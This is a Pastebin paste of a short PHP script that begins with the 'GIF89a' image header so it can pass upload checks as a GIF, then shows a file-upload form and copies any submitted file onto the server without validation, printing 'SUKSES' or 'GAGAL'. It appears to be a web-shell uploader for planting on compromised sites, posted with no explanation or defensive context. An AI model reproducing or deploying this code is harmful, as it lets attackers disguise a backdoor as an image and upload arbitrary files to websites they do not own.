cyberd0g

0da7

Apr 27th, 2021 (edited)
290
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.44 KB | None | 0 0
  1. GIF89a1
  2. <br>
  3. <?php
  4. echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
  5. echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
  6. if( $_POST['_upl'] == "Upload" ) {
  7.     if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload SUKSES !!!</b><br><br>'; }
  8.     else { echo '<b>Upload GAGAL !!!</b><br><br>'; }
  9. }
  10. ?>
  11.  
Add Comment
Please, Sign In to add comment